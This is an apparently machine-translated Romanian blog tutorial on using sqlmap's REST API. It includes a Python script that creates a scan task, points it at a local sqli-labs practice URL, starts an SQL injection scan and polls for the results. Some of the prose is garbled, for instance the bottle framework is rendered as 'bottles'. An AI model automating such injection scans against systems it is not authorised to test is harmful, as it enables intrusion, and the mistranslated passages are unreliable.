SOURCE=http://www.langzi.fun/SqlmapApi快速上手.html
sqlmapapi folosește cadrul web pentru sticle, care este similar cu vasul, dar mai eficient.
Mai întâi deschideți serviciul sqlmapapi:
sqlmapapi.py -s
Produsul este aproximativ după cum urmează:
C:\Users\Administrator\Desktop>sqlmapapi.py -s
[15:42:37] [INFO] Running REST-JSON API server at '127.0.0.1:8775'..
[15:42:37] [INFO] Admin ID: 1624e1c613cf56c1afe4241b28487b4d
[15:42:37] [DEBUG] IPC database: 'c:\users\administrator\appdata\local\temp\sqlmapipc-fh0y03'
[15:42:37] [DEBUG] REST-JSON API server connected to IPC database
[15:42:37] [DEBUG] Using adapter 'wsgiref' to run bottle
[15:42:41] [DEBUG] Created new task: '4ebbb121a16a47ab'
În funcție de ieșire, se poate înțelege că adresa de serviciu deschisă de sticlă este:
http://127.0.0.1:8775
ID-ul de administrare este utilizat pentru a gestiona activitățile. Se va schimba de fiecare dată când deschideți sqlmapapi. Puteți să-l repetați modificând codul sursă sau să-l scrieți într-un fișier pentru citirea altor programe.
Numai serviciul este început aici și trebuie să fie create sarcini suplimentare, fiecare punct de injecție corespunde unui id diferit.
Pentru a crea o sarcină:
r = requests.get(url='http://127.0.0.1:8775/task/new')
print r.json()
Un json este returnat:
{u'success': True, u'taskid': u'4ebbb121a16a47ab'}
Reprezintă succesul creării unei sarcini. Valoarea id ulterioară este valoarea id unică corespunzătoare sarcinii atunci când se creează sarcina.
Notă: Valoarea ID returnată de fiecare cerere este diferită.
Apoi trimiteți un link în trecut, sqlmapapi determină automat dacă există o injecție.
Mai întâi folosesc phpstudy pentru a construi mediul apache și am instalat laboratoare sqli.
Link-ul folosit este
url = 'http://127.0.0.1/sqli/Less-1/?id=1'
Codul este implementat după cum urmează:
import requests,json,time
def scan_sql(url):
r = requests.get(url='http://127.0.0.1:8775/task/new')
task_id = r.json()['taskid']
sqlmap_set = 'http://127.0.0.1:8775/option/%s/set' % task_id
sqlmap_url = 'http://127.0.0.1:8775/scan/%s/start' % task_id
sqlmap_status = 'http://127.0.0.1:8775/scan/%s/status' % task_id
sqlmap_result = 'http://127.0.0.1:8775/scan/%s/data' % task_id
set = requests.post(url=sqlmap_set,data=json.dumps({'url':url}), headers={'Content-Type':'application/json'})
scans = requests.post(url=sqlmap_url,data=json.dumps({'url':url}), headers={'Content-Type':'application/json'})
r = requests.get(sqlmap_status).json()['status']
print r
while 1:
if requests.get(sqlmap_status).json()['status'] == 'running':
print 'is running'
time.sleep(10)
else:
print requests.get(sqlmap_status).json()['status']
time.sleep(10)
re = requests.get(url=sqlmap_result)
print re.json()
#return requests.get(sqlmap_result).content